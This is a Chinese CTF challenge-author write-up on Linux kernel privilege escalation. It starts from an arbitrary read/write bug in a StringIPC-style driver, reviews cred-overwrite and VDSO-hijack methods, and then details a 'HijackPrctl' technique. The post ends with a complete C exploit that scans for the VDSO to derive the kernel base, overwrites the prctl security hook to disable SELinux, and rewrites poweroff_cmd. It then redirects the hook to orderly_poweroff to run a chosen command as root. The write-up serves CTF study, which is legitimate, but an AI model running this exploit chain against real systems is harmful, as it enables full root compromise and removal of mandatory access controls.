强网杯出题思路-solid_core-HijackPrctl


强网杯出题思路-solid_core-HijackPrctl_第1张图片

0x00 概述

solid_core出题时候,基本上是以CSAW-2015-CTF的stringipc题目为基础进行内存读写的限制,CSAW-2015-CTF中的题目是一个krealloc的利用。

在krealloc的定义中mm/slab_common.c中

强网杯出题思路-solid_core-HijackPrctl_第2张图片

如果size=0,krealloc返回值为0x10

通过修改size=-1,使得kremalloc的返回值变成0x10,同时size因为是0xFFFFFFFFFFFFFFFF所以可以进行任意地址读写。

强网杯出题思路-solid_core-HijackPrctl_第3张图片

那么传统思路下一步提权的方法有两种,下面进行介绍。

0x01 任意地址读写到权限提升(传统思路)

下面以csaw-2015的stringipc为例子来介绍两种从任意地址读写到权限提升到权限的传统思路

1. 爆破cred结构位置并篡改

做过内核漏洞利用的同学应该都了解task_struct中的cred结构代表了该进程的权限结构。

强网杯出题思路-solid_core-HijackPrctl_第4张图片

如果我们能够修改cred结构的值那么就可以进行提权操作。这是一个很正常的思路,但是我们的cred结构地址在哪里呢?这里CSAW给出的思路是通过prctl设置comm结构为一个Random的字符串是,然后通过爆破这个Random的字符串,每八个字节进行遍历,耗时比较久,但是是可行的。

链接如下 https://github.com/mncoppola/StringIPC/blob/master/solution/solution.c

2. RET2DIR攻击(劫持VDSO)

第二种方法是使用RET2DIR攻击,在这里CSAW-2015-stringipc可以通过攻击VDSO来劫持用户态的代码执行流程。下面我们先来补充一下VDSO的知识:

(1)linux下的VDSO

VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西, 它将内核态的调用映射到用户态的地址空间中, 使得调用开销更小, 路径更好.

开销更小比较容易理解, 那么路径更好指的是什么呢? 拿x86下的系统调用举例, 传统的int 0x80有点慢, Intel和AMD分别实现了sysenter, sysexit和syscall, sysret, 即所谓的快速系统调用指令, 使用它们更快, 但是也带来了兼容性的问题.

于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定. 而vsyscall的实现就在VDSO中.

Linux(kernel 2.6 or upper)环境下执行ldd /bin/sh, 会发现有个名字叫linux-vdso.so.1(老点的版本是linux-gate.so.1)的动态文件, 而系统中却找不到它, 它就是VDSO. 例如:

$ ldd /bin/sh

linux-vdso.so.1 =>  (0x00007fff2f9ff000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f28d5b36000)

/lib64/ld-linux-x86-64.so.2 (0x00007f28d5eca000)

所以,不难理解,VDSO是一段内核空间的代码,用来提供给用户态下更快地调用系统调用。正是因为这个特殊的机制,使得我们可以进行攻击。

在CSAW-CTF-2015的stringipc题目中,内核态下VDSO页的权限是RW,这个代码页会被直接映射到用户态下的进程中,以满足gettime等频繁系统调用的速度。这个代码页映射到用户态的权限属性是RX,就是可以执行。所以,我们可以通过在内核态下通过任意写来修改VDSO的代码,譬如我们修改代码成为prepare_cred+commited_cred等,这样在用户调用VDSO时,就可以劫持控制流了。

具体链接如下: http://itszn.com/blog/?p=21

这里也有一个问题:VDSO位置在哪里呢?这个可以爆破,因为我们有了任意地址读的权限,不过和上面爆破cred结构的技术不一样,我们可以更快的爆破,因为VDSO必定是被安防到一个内存页里面,也就是页对其的,同时它是一个ELF文件,是有ELF Signurte,所以我们可以按照内存页的偏移来进行爆破,这样爆破速度会很快,大概是256倍,而且它的映射位置离内核基址并不是太远,可以很快就出来了。

0x02 题目修改思路

题目为了限制大家不能使用cred覆盖和ret2dir攻击利用方法,我对csaw-ctf-2015进行了修改,限制了内存读写范围。

我进行了限制,限制写入范围必须大于0xffffffff80000000,这个地址在linux内存分布中,是kernel base以上。

附上linux 内核内存分布图

强网杯出题思路-solid_core-HijackPrctl_第5张图片

所以可以限制cred被覆盖,同时编译最新内核以限制VDSO在内核情况下不能被修改。


强网杯出题思路-solid_core-HijackPrctl_第6张图片

可以使得上两种的利用方法失效,以期待有高手能够给出一种另外的利用思路,同时我也给出了一种限制之后可以成功利用思路,也就是HijackPrctl,下面进行详细介绍。

0x03 HijackPrctl- A reliable linux root Techniques

下面介绍从内核地址任意读写(或者可以限制为局部地址读写)到任意代码执行的一种新型的Reliable Linux Root技术,这个思路其实也不算最新的,是来自于INetCop Security 分享的New Reliable Android Kernel Root Exploitation Techniques,这种漏洞利用思路主要是要劫持Prctl函数,最后跳转到call_usermodehelper,我姑且把这种方法称作HijackPrctl。

我们再来确定一下现在能做的事情,我们可以进行局部地址的任意读写,题目限制了读写范围必须大于0xffffffff80000也就是kernel base以上。为了达到代码执行,我们先找一个内核函数看能不能劫持的。

0x01 Prctl(用户和内核沟通的一个绝佳函数)

这里要介绍一下Prctl函数,这个函数可以对进程进行一些设置,通过查看linux内核源码,可以知道这个函数是一个内核漏洞利用中的绝佳函数。

在include/linux/security.h中可以看到cap_task_prctl拥有6个参数。

强网杯出题思路-solid_core-HijackPrctl_第7张图片

同时在kernel/sys.c中,可以看到对于prctl这个系统调用的处理过程中,将参数原封不动的传给了security_task_prctl函数进行处理。

强网杯出题思路-solid_core-HijackPrctl_第8张图片

继续往下跟进,我们发现security_task_prctl这个函数其实最后是定位到了一个虚表里面去,

强网杯出题思路-solid_core-HijackPrctl_第9张图片

在调试时候我们会找到这个hook的位置在哪里,在这里是capability+0x520+0x18这个偏移,这个偏移在IDA中也能分析出来。

强网杯出题思路-solid_core-HijackPrctl_第10张图片
强网杯出题思路-solid_core-HijackPrctl_第11张图片

这样的话,我们就找到了一个可以通过用户态传最多6个参数并且到内核态原封不动执行的虚函数。也就是意味我们可以通过修改这个指针,可以任意执行一个函数了。

0x02 32位和64位区别

基于上面的分析我们可以通过用户态传递参数,在内核态下任意执行6个参数以下的函数。再仔细分析一下,对吗?在32位下是可以的,在64位下并不是。我们再看这个函数int security_task_prctl(int option, unsigned long ...)发现第一个参数option是int类型,也就是我们传入的64位会被截断成为32位,这也就导致了64位,第一个参数不能用了。

这个不影响32位下的漏洞利用,我们继续来分析32位如何利用。

其实,这里有很多思路,INetCop Security的Slide里面有,我这里介绍另外一种基于VDSO变形的方法,也是看雪论坛上(https://bbs.pediy.com/thread-220057.htm),提出的一种方法。

具体思路是:

先通过劫持task_prctl,将其修改成为set_memory_rw

然后传入VDSO的地址,将VDSO修改成为可写的属性,

然后之后的步骤就和劫持VDSO方法是一样的了。

这种方法我进行了验证64位内核上是不可行的,就是因为第一个参数被截断的原因。

0x03 call_usermoderhelper内核线程执行

call_usermoderhelper是内核运行用户程序的一个api,并且该程序有root的权限。如果我们能够控制性的调用它,就能以Root权限执行我们想要执行的程序了。

定义在kernel/umh.c中

强网杯出题思路-solid_core-HijackPrctl_第12张图片

subprocess_info如下

强网杯出题思路-solid_core-HijackPrctl_第13张图片

我们要劫持task_prctl到call_usermoderhelper吗,不是的,因为这里的第一个参数也是64位的,也不能直接劫持过来。但是内核中有些代码片段是调用了Call_usermoderhelper的,可以转化为我们所用。

譬如kernel/reboot.c中的orderly_poweroff函数中调用了run_cmd参数是poweroff_cmd,而且poweroff_cmd是一个全局变量,可以修改。

强网杯出题思路-solid_core-HijackPrctl_第14张图片

那么我们就先篡改poweroff_cmd=我们预期执行的命令,然后直接劫持task_prctl到orderly_poweroff函数,这样就任意命令执行了,同时按照INetCop Security给出的思路,需要先关闭selinux。

所以再整理一下整体思路:

利用kremalloc的问题,达到任意地址读写的能力

通过快速爆破,泄露出VDSO地址。

利用VDSO和kernel_base相差不远的特性,泄露出内核基址

篡改prctl的hook为selinux_disable函数的地址

调用prctl使得selinux失效

篡改poweroff_cmd使其等于我们预期执行的命令。

篡改prctl的hook为orderly_poweroff

调用prctl执行我们预期的命令,达到内核提权的效果。

最后给出利用程序如下

#include

#include

#include

#include

#include

#include

#include

#include

#define CSAW_IOCTL_BASE    0x77617363

#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1

#define CSAW_OPEN_CHANNEL  CSAW_IOCTL_BASE+2

#define CSAW_GROW_CHANNEL  CSAW_IOCTL_BASE+3

#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4

#define CSAW_READ_CHANNEL  CSAW_IOCTL_BASE+5

#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6

#define CSAW_SEEK_CHANNEL  CSAW_IOCTL_BASE+7

#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {

    size_t buf_size;

    int id;

};

struct open_channel_args {

    int id;

};

struct read_channel_args {

    int id;

    char *buf;

    size_t count;

};

struct write_channel_args {

    int id;

    char *buf;

    size_t count;

};

struct close_channel_args {

    int id;

};

struct shrink_channel_args {

    int id;

    size_t size;

};

struct seek_channel_args {

    int id;

    loff_t index;

    int whence;

};

int ID = 0;

int FD = 0;

void readMem(void* ptr, void* addr, size_t count) {

    struct seek_channel_args seekArgs;

    seekArgs.id = ID;

    seekArgs.index = addr-0x10;

    seekArgs.whence = SEEK_SET;

    int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs);

    int err = errno;

    //fprintf(stderr,"Seek: %x err:%u\n",ret,err);

    struct read_channel_args readArgs;

    readArgs.id = ID;

    readArgs.buf = ptr;

    readArgs.count = count;

    ret = ioctl(FD, CSAW_READ_CHANNEL, &readArgs);

    err = errno;

    //fprintf(stderr,"read: %x err:%u\n",ret,err);

}

void writeMem(void* ptr, void* addr, size_t count) {

    struct seek_channel_args seekArgs;

    seekArgs.id = ID;

    seekArgs.index = addr-0x10;

    seekArgs.whence = SEEK_SET;

    int ret = ioctl(FD, CSAW_SEEK_CHANNEL, &seekArgs);

    int err = errno;

    //fprintf(stderr,"Seek: %x err:%u\n",ret,err);

    struct write_channel_args writeArgs;

    writeArgs.id = ID;

    writeArgs.buf = ptr;

    writeArgs.count = count;

    ret = ioctl(FD, CSAW_WRITE_CHANNEL, &writeArgs);

    err = errno;

    //fprintf(stderr,"write: %x err:%u\n",ret,err);

}

int main(int argc,char* argv[]) {

//offset_set_memory_rw 0x079340 sbin_poweroff 0x123D1E0 call_poweroff 0x09C4C0

//offset_prctl_hook 0x124FD00  selinux_disable 0x2C7BA0

//./exp 0x124FCC0 0x123D2E0 0x09D510 0x2C2E10

//capability+0x520

    long unsigned int offset_set_memory_rw=0x06da70;

    long unsigned int offset_prctl_hook=0x1140ae0;

    long unsigned int offset_task_prctl=0x2f7e69;

    long unsigned int offset_call_modprobe=0x0ae3b2;

    //long unsigned int offset_call_poweroff=0x0a0880;//call_usermod

    long unsigned int offset_call_poweroff=0x0acb00;

    long unsigned int offset_selinux_disable=0x303b10;

    long unsigned int offset_sbin_poweroff=0x105a4e0;

    long unsigned int offset_modprobe_path=0x105ac80;

    if (argc!=5)

    {

        fprintf(stderr,"Usage: %s offset_prctl_hook offset_sbin_poweroff offset_call_poweroff offset_selinux_disable\n",argv[0]);

        exit(-1);

    }

    //offset_set_memory_rw=strtoul(argv[1],NULL,16);

    offset_prctl_hook=strtoul(argv[1],NULL,16);

    offset_sbin_poweroff=strtoul(argv[2],NULL,16);

    offset_call_poweroff=strtoul(argv[3],NULL,16);

    offset_selinux_disable=strtoul(argv[4],NULL,16);

    int fd = open("/proc/simp1e",O_NONBLOCK);

    char cmd[256];

    memset(cmd,0,sizeof(cmd));

    fprintf(stderr,"Input Your Cmd $:");

    read(0,&cmd,256);

    FD = fd;

    struct alloc_channel_args arg1;

    arg1.buf_size=100;

    int ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&arg1);

    fprintf(stderr,"allocate fd: %d ret: %d id:%u\n",fd,ret,arg1.id);

    ID = arg1.id;

    struct shrink_channel_args shrinkArgs;

    shrinkArgs.id = arg1.id;

    shrinkArgs.size=101;

    ret = ioctl(fd, CSAW_SHRINK_CHANNEL, &shrinkArgs);

    int err = errno;

    fprintf(stderr,"Shrink: %d err:%u\n",ret,err);

    fprintf(stderr,"ZERO_SIZED_POINTER = %p\n",((void*)16));

    //Random buffer to throw things into

    //char* what = malloc(0x1000*0x1000);

    //Scanning for elf headers to find VDSO

    void* header = 0;

    void* loc = 0xffffffff80000000;

    size_t i = 0;

    for (; loc<0xffffffffffffafff; loc+=0x1000) {

        readMem(&header,loc,8);

        if (header==0x010102464c457f) {

            fprintf(stderr,"%p elf\n",loc);

            readMem(&header,loc+0x2B8,8);

            //Look for 'clock_ge' signature (may not be at this offset, but happened to be)

            if (header==0x65675f6b636f6c63) {

                fprintf(stderr,"%p found it?\n",loc);

                break;

            }

        }

    }

    long unsigned int kernel_base=(long unsigned int)loc&0xffffffffff000000;

    long unsigned int real_set_memory_rw=kernel_base+offset_set_memory_rw;

    long unsigned int real_prctl_hook=kernel_base+offset_prctl_hook;

    long unsigned int real_task_prctl=0;

    long unsigned int real_call_modprobe=0;

    long unsigned int real_modprobe_path=0;

    long unsigned int real_selinux_disable=0;

    long unsigned int real_sbin_poweroff=kernel_base+offset_sbin_poweroff;

    long unsigned int real_call_poweroff=0;

    long unsigned int try_offset=0;

    //cur_offset= (real_set_memory_rw >>20 ) &0xff

    printf("real_sbin_poweroff:%p real_prctl_hook:%p\n",real_sbin_poweroff,real_prctl_hook);

    for( i=0; i<0x20;i+=1)

    {

        try_offset = real_sbin_poweroff- 0x100000*i ;

        printf("%p is trying!\n",try_offset);

                readMem(&header, (void*)try_offset,8);

        printf("%p is read!\n",header);

        //if (header==0xec834800f28db6e8){

        if (header==0x6f702f6e6962732f){

            fprintf(stderr,"%p is real_sbin_poweroff\n",try_offset);

            real_sbin_poweroff=try_offset;

            real_prctl_hook-=(0x100000*i);

            break;

        }

    }

    if (i==0x20)

    {

        fprintf(stderr,"Not found!\n");

        exit(-1);

    }

    real_task_prctl = real_sbin_poweroff -offset_sbin_poweroff + offset_task_prctl;

    //real_call_modprobe = real_sbin_poweroff -offset_sbin_poweroff + offset_call_modprobe;

    printf("set_memory_rw:%p real_prctl_hook:%p \n real_task_prctl:%p\n real_call_modprobe:%p \n",real_set_memory_rw,real_prctl_hook,real_task_prctl,real_call_modprobe);

    //real_modprobe_path = real_sbin_poweroff -offset_sbin_poweroff + offset_modprobe_path;

    real_selinux_disable = real_sbin_poweroff -offset_sbin_poweroff + offset_selinux_disable;

    real_sbin_poweroff = real_sbin_poweroff -offset_sbin_poweroff + offset_sbin_poweroff;

    real_call_poweroff = real_sbin_poweroff -offset_sbin_poweroff + offset_call_poweroff;

    printf("path %p selinux_disable: %p\n",real_modprobe_path,real_selinux_disable);

    printf("Hijiack Prctl!\n");

    getchar();

    writeMem(&real_selinux_disable,real_prctl_hook,sizeof(real_set_memory_rw));

    ret = prctl(loc,2, loc,loc,2);

    //char * hijack_path= "/bin/ls\x00";

    //char * hijack_path= "/bin/cat /flag > /tmp/flag\x00\x00\x00";

    char * hijack_path= "/bin/mkdir -p /tmp/x0x\x00\x00\x00";

    //writeMem(hijack_path,real_modprobe_path,128);

    //writeMem(hijack_path,real_sbin_poweroff,128);

    writeMem(&cmd,real_sbin_poweroff,228);

    //exit(-1);

    //Write our shellcode over the gettimeofday function at offset 0xca0

    //writeMem(&real_set_memory_rw,real_prctl_hook,sizeof(real_set_memory_rw));

    writeMem(&real_call_poweroff,real_prctl_hook,sizeof(real_set_memory_rw));

    printf("Start Prctl!\n");

    getchar();

ret = prctl(loc,2, loc,loc,2);

    printf("end Prctl!\n");

    for(i=0;i<0x0;i+=1)

    {

    writeMem(&real_call_poweroff,real_prctl_hook+8*i,sizeof(real_set_memory_rw));

    }

    //Write our shellcode over the gettimeofday function at offset 0xca0

  // writeMem(sc,loc+0xd30,strlen(sc));

    //Wait a bit for a daemon or logger to call gettimeofday()

//  system("nc -l -p 3333 -v");

  // exit(1);

}

0x04 写在后面

很惨,出题时候由于一些设置问题,产生了一些的非预期解(一共有5只队伍解出题目,三只使用非预期解,两只使用正解),不过这些非预期解也让我学习到了很多知识(姿势)。

同时在题目部署中也出现了一些问题,但是因为已经出现了非预期解,保持题目公平性,所以也就没有进行继续修改了。

同时在出这道题目的过程中,多次对内核进行编译,对于很多以前不知道的内核知识进行补充,踩了很多坑,也学了很多。

最后祝贺做出此题的战队以及参与强网杯比赛的各位战队,希望能够和各位大神继续交流内核漏洞相关的知识。

同时最近出现的ubuntu16.04提权漏洞也是一个任意内存读写漏洞,理论上也能够使用该种方法进行提权,下面我会抽时间进行调试并分析。

如果大家还想继续做这道题目的话,题目继续在10.9.173.101 9999开放。

同时本文也在本人博客上面进行发表。http://leanote.com/blog/post/5ab78270ab64413755000dcf

0xff 参考资料

vdso http://adam8157.info/blog/2011/10/linux-vdso/

ret2dir http://www.cnblogs.com/0xJDchen/p/6143102.html

usermode-helper  https://www.ibm.com/developerworks/cn/linux/l-user-space-apps/index.html

attack_vdso https://hardenedlinux.github.io/translation/2015/11/25/Translation-Bypassing-SMEP-Using-vDSO-Overwrites.html

ret2dir-balckhat https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation.pdf

reliable linux root http://powerofcommunity.net/poc2016/x82.pdf

利用分页机制进行攻击

https://github.com/n3k/CansecWest2016_Getting_Physical_Extreme_Abuse_of_Intel_Based_Paging_Systems/blob/master/Demos/Linux/driver/kernetix.c

New Reliable Android Kernel Root Exploitation Techniques http://powerofcommunity.net/poc2016/x82.pdf

更多干货请关注看雪学院公众号~

本文由看雪论坛 simSimple 原创 转载请注明来自看雪社区

你可能感兴趣的:(强网杯出题思路-solid_core-HijackPrctl)